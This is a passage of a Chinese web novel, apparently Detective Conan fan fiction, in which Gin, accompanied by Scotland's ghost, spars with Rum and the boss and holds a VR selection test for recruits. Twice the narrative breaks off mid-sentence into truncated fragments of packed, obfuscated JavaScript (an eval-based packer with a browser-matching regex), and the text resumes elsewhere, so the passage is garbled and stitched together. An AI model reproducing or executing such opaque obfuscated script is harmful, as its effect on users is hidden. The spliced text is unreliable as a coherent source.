琴酒收敛表情,抬头望去,前方十米,朗姆站在最亮的那盏顶灯正下方,大半张脸融于阴影,唯独那只完好的眼闪烁精光。他身后一步,是抱着破烂纸箱的伏特加。 “小阵,你在这儿正好。”朗姆把手里古旧的银币一合,啪的一声,拄着手杖不急不缓走来。 伏特加也紧紧跟在后面。 “有事?” 朗姆在琴酒面前站定,“也不是什么大事儿,就是安排伏特加把你之前办公室的东西整理了下。你看看还要不要,不要的话,我就让他都扔了。” 琴酒淡漠的视线落到伏特加身上。朗姆见状,顺势在伏特加背后拍一把。 “怎么也不叫人?” 伏特加脚下一个踉跄,像被上了发条的机器僵硬地上前。 “大……黑泽先生。” 琴酒问:“我们有对非代号成员使用敬语的惯例吗?” “……没有。”伏特加犹豫道。 “那你该叫我什么?” “……黑泽。” “嗯。” 两人一番互动看得朗姆直拧眉。 琴酒视而不见地上前,纸箱里有几本过期枪械杂志,一盘旧CD,几份无关紧要的文件,最后是一只带着logo粉黑相间的马克杯。 马克杯中央还有颗硕大的红色爱心。 怎么看都不像是琴酒会用的东西。 琴酒上前,把马克杯捞起来。 哗啦啦—— 一些文件顺势落地。 伏特加赶忙弯腰去捡,他蹲在琴酒脚边,背弯成拱桥,一脚踩上去就会支离破碎的那种。 琴酒瞥了眼收回视线,把目光定格在马克杯的瞬间,一段记忆浮现在脑海—— 那是某年冬季,情人节的后一天,他和伏特加完成任务回程途中,天空飘起鹅毛大雪。 在暖意融融的保时捷里,伏特加扭捏地拿出个包装精美礼品盒,里面装的就是这只马克杯。 琴酒趁红灯快速看了眼,“你送我这个干什么?” 通过伏特加语无伦次的解释,琴酒了解到这是他最喜欢的偶像冲野洋子的最新巡演周边,限量版,很难抢的。 这还是琴酒头一回知道自己表面木讷的下属,私下是个狂热的偶像宅。 他勉为其难收下,本着多了解下属的目的还上网调查。 不查不知道,原来这玩意儿还是成双成对的,情侣款! 琴酒当即把伏特加叫过来臭骂一顿,这个身材魁梧的男人都快哭了,才支支吾吾坦白自己没有别的朋友,买的东西也不想浪费,所以才送给他。 『大哥,我保证对你只有敬仰,没有非分之想!』 琴酒当然不可能用这种不符合他审美的东西,但也没扔,只是束之高阁,直到今天…… 过往的回忆如烟消散。琴酒回神,不自觉摩挲下杯壁,那颗磨砂的爱心微微凸起。他随手把杯子扔回纸箱,咚的一声。 “都扔了,反正是些没用的垃圾。” 听到这话,伏特加后背一僵,看起来更佝偻了。 “真的吗?如果你都不要,那刚才为什么笑?”朗姆精明的目光像利箭射向琴酒。 琴酒不慌不忙,“我是在笑你,朗姆。人人都说你慧眼识才,可派出的狙击手连我一根头发都伤不到。” “狙击……”伏特加不可置信地抬头。 琴酒踹他一脚,“至于这家伙,我很期待你能激发出他除了开车以外的潜能。” 话音刚落,琴酒大步流星离开,经过朗姆时,被一把拽住胳膊。 向来道貌岸然的朗姆顾不上装体面,一只右眼怨毒地盯着琴酒,“你总是这么骄傲,但现在也只剩骨头最硬了。” “还好,比不上你一点小事都要群发邮件通知。” 这话成功让朗姆本就阴郁的脸色更加难看,琴酒瞥了一眼,似笑非笑甩开他。 琴酒迈步向前,而一股寒冷的白雾离开他向后。 等走到拐角,琴酒身后突然传来声凄厉的惨叫—— “啊啊啊,我的眼睛!” 琴酒转头回看,朗姆站在原地,左边的义眼蒙上层浓稠的白雾,像被水泡烂,竟软趴趴陷进眼眶里。 朗姆困兽般的哀嚎还在继续,伏特加则在一边手忙脚乱。朗姆一边咒骂,一边摸黑从伏特加的西装口袋抽出手帕,团了一下,直接就往眼眶里塞。 琴酒认得这块手帕,角落还绣着『YK』两个字母,也是冲野洋子的周边,伏特加平时都舍不得用。 他淡漠地收回视线,白雾又以保护者的姿态回到他身边。 “你干什么了?”琴酒头也不回问。 光可鉴人的墙壁上闪现苏格兰狡黠的笑脸,“没什么,就是给讨厌的人一个小小的教训。” 下午,或许是听到风声,琴酒被久违地叫进乌丸办公室。 房间依旧昏暗,窗帘紧闭,内室的门也牢牢关上。 琴酒站在中央,乌丸伏案写作,一时间谁都没说话,只有笔尖接触纸面的沙沙声。 琴酒凭借绝佳的视力,察觉乌丸手肘下的是张布满名字的清单,都属于他正在训练的新人,其中脱退的那些名字边已经被打上红叉。 “被背叛的感觉怎么样?” 琴酒笑笑:“挺轻松的,本来就是群扶不上墙的垃圾。” 乌丸抬头,没好气地瞪他一眼,“过来坐。” 两人面对面,乌丸随手把名字清单揉成团扔进废纸篓里,“关于年识系统的处理方式,我和朗姆有点分歧,想问问你的看法。” 一瞬间,琴酒想起在朗姆电脑窥见的“年识系统计划书”,上面明确写了要协助完成系统开发,以检测“那个东西”。 琴酒暂时还不知道“那个东西”指什么。他不动声色,“我觉得,科技发展不以人的意志为转移。” “噢?”乌丸盖上红笔笔盖,双手撑下巴,饶有兴致地看他,“你就不怕意见和我相左,失去好不容易的机会。” 乌丸没想到,下一秒,琴酒竟直接起身往门口走! 那拖拉椅子和脚步声被地下的高级羊毛毯稀释,静寂之中,两人形成角力。 乌丸的表情先是震惊,而后咬牙切齿,他看着琴酒走到门口,终于忍不住抓起手里的红笔狠狠扔过去。 啪—— 锐利的笔尖划破空气。 琴酒没躲,任由红笔在银发上留下难看的墨点。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贝尔摩德不觉惊讶。本质上,老板和朗姆是同一种人,能用到对方的时候就格外和颜悦色。 她讨厌这样。 不过,“年识系统啊——” 那可是比潘多拉魔盒还危险的存在。 * 琴酒沿走廊往外,突然口袋里手机震动。他拿出一看,是宾加的信息。 『邮件已经发了,下面怎么做?』 琴酒还没回复,飘在旁边的苏格兰居高临下点评:“他太着急了。” 琴酒修长的手指迅速在键盘敲击几下: 『任务已经交给我,到你出场的时候。』 昨晚,苏格兰坦白纸条事件后不久,琴酒主动联络宾加,达成合作。 他将计就计,让宾加黑进朗姆邮箱,群发消息,以此判断周遭这群是人是鬼。 是“人”的,留着继续用。迫不及待要走的,也绝不挽留。 所以,基安蒂闯进来时,他故意不避着新人。 结果还算不错。 琴酒收回手机,敏锐察觉身边气温升高。其实从他进乌丸办公室后不久就开始了,所幸这家伙没捣什么乱。 他似笑非笑瞥苏格兰一眼。 ……是在生气吗? “宾加就是这样。不过我更好奇你,按照你原来的性格,我中午对伏特加那样,你早就该批判我是恶人了。” 琴酒没想到,苏格兰听到这话非但没暴跳如雷,反而沉默。那张英俊的脸透出点点红晕,温润的猫眼也故意避开他似的。好半会儿,才柔和地说:“我知道的。” “知道什么?” “知道你明明可以当着朗姆的面打碎那个马克杯,但你没有。因为你不想伤害伏特加。” 闻言,琴酒没说话。作为回应,仿佛想要甩掉苏格兰般,走得更快了。 19.Ch19. 任务选拔 《琴酒的阴湿鬼男友》 /系田 某废弃仓库 横田趴在一截通风管内,里面潮湿闷热,周围还有排气扇震耳欲聋的运作声。 他一动不动,透过单筒望远镜窥视着位于斜下方的目标。 目标穿着身标志性黑色风衣,背脊挺拔,正坐在张木桌前奋笔疾书。桌上孤零零放着盏台灯,昏黄的光照射他银白的长发,让这副画面也静谧美好起来。 横田调整镜头,观察桌面文件。这是份任务报告书,密密麻麻的字,但没他需要的『数』。 他又观察起生锈的房梁和角落堆积的木箱,照样没他要找的东西。 黑泽大人藏起的七位数字到底在哪儿? 随着时间推移,横田愈发焦躁。他把镜头转回目标身上。这次,他惊愕地瞪大眼—— 目标背上居然有团白色的虚影,模模糊糊一个人形,正探头探脑想知道目标所写的具体内容。 “ge……鬼?” 横田大惊失色,手上的单筒望远镜也顺势落地。砰—— 微乎其微的一声,又被排气扇遮掩得很好。理应是听不到的,那鬼却似有所感转身,露出张苍白如纸的脸,嘴角还沁着一丝鲜血。 他冲横田不满地皱眉,像是在指责横田打扰了他和目标的亲密时光。 横田顿时汗如雨下。 “啊啊啊——” 他惊叫出声的同时,目标也猛地转身,漂亮冷漠的脸和伯.莱.塔黑洞洞的枪口一齐出现。 砰—— 一颗子弹直直射向他。 这颗子弹在泛起白雾的镜头里旋转着,越来越大。 接着,将死的恐惧和成功的喜悦如两股汹涌的潮水瞬间将横田吞没—— 他苦苦搜寻的微型数字居然就镌刻在弹头之上! “到此为止!” 一声令下,仲原、横田还有个叫健太的小伙纷纷摘下VR头盔。 那头盔早已汗湿,随着三人垂臂的动作,不断地往塑胶上淌水。 滴滴答——滴滴答—— 琴酒面无表情地走到每个人面前,询问他们在虚拟场景中看到的数字,并通过佩戴的手环,记录心跳。 仲原说出了七位数,心跳141。 健太在子弹射来的瞬间选择了躲避。 很快,轮到横田。 他还没从刚才惊骇的一幕缓过神,琴酒见状,踹他一脚,“数字。” 他叫了下,凄惨的叫声引得好友仲原探出半个身子,关切地张望。 “……486……9?” 琴酒一眼看出他有猜的成分,“你应该只看到三个数字,怎么推断出来的?” “我……联想到了您的车牌。” 琴酒不置可否:“我听基安蒂说,你一直缠着她训练组枪。我承认你很用功,但心理素质还是不过关,区区一枚子弹……” 他话音未落,横田就张口欲辩,这不符合横田平时柔软无争的性格。琴酒挑了下眉,“还有话说?” “……没有。” 琴酒快步离开,站在人前。之前被淘汰的新人也鱼贯而入。 琴酒背着手宣布仲原是那个唯一会跟随他参加潜入任务的新人。 “我之前说过,会选两个最优秀的。但这并不代表就一定有两个名额。你们记住,我的原则永远是宁缺毋滥。” 片刻,仲原带着失落的横田离开,健太则和其他几个结伴同行。 走了好远,还能听见他们吐槽考核太难,太刁钻。 人群散后,琴酒开始检查三人刚才在情景模拟中的表现。 苏格兰也出来,光明正大倚在琴酒身边。 仲原出来时,他说:“仲原的各项技能都不错,但性格太爱出挑,总觉得是颗定时炸.弹。” 健太出来时,他又说:“健太这人看起来寡言少语,没想到关键时候这么容易慌。” 琴酒警告地瞪他一眼,苏格兰非但不怕,反而笑得更加灿烂。 仿佛自从那晚烧衣,俩人的关系就发生了微妙的变化。 琴酒乐见其成,也不会刻意戳破。 很快到了横田。 其实,琴酒内心深处还是对横田欲言又止的内容好奇。等看见录像全貌——趴在“他”身后阴恻恻的鬼魂,以及望远镜上转瞬即逝的白雾,琴酒全明白了。 他似笑非笑转头,“说啊,怎么不继续说了?” 苏格兰畏惧地躲避琴酒的目光,虽然其中也有故意配合的部分。 “你听我解释。我主要觉得上次横田在组枪时心理崩溃,这次还得加点砝码。说到底,我不想让他影响你的任务。” “所以,你是为了我?” 苏格兰支支吾吾,那双猫儿似的眼睛透亮又诚恳。 琴酒却不为所动,“但你违背了我的原则。” “……什么原则?” “公平。本来,我的测试绝对公平。现在横田遭受的心理压力远大于其他两人,你觉得还公平吗?” 闻言,苏格兰低头思忖。那道虚幻的白影也随之摇晃,仿佛他正在遭受良心的谴责。 『良心』。 对组织成员很可笑的东西,但琴酒毫不怀疑面前这家伙——他有。 “不过你说得对,横田现在确实不适合出任务。如果他不能放下对青梅竹马的执念,那他也成不了气候。” 琴酒没想到,这段寻常的评价竟让苏格兰像遭受雷击,怔愣当场。 “喂?” 苏格兰猛地回神,一下拽向琴酒袖子,“你刚说什么,能不能再说一遍。” 琴酒当然没被抓住,只是一阵冷气拂袖而过,他心里异样,“我说,横田成不了大器。” “不是这句,还有别的。” 苏格兰急切的模样让琴酒警惕中升起抗拒。 如果这是打开苏格兰记忆之门的钥匙,那他要赶紧毁尸灭迹。 好在这时,一道嚣张的声音从两人背后插.进. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“为什么?他可是刚刚感谢了你。”琴酒饶有兴致侧头去看,他和苏格兰离得很近,几乎要嘴唇相触的距离。 “他既然能背叛朗姆,他也能背叛……” 不等苏格兰说完,噗嗤—— 空气里原本暧昧的泡沫破了。 琴酒的脸色迅速下沉,“首先,宾加的IT技术是我们潜入基地必需的。其次,我也从没奢望过谁能对我忠诚。” 说完,琴酒目光锐利地注视苏格兰片刻,毫不迟疑走了,只剩苏格兰直愣愣待在原地,望着琴酒孤高的背影。 『其次,我也从没奢望过谁能对我忠诚。』 这句话消散在空气里,化成阵风拂过他耳畔,让他—— 莫名有点心疼。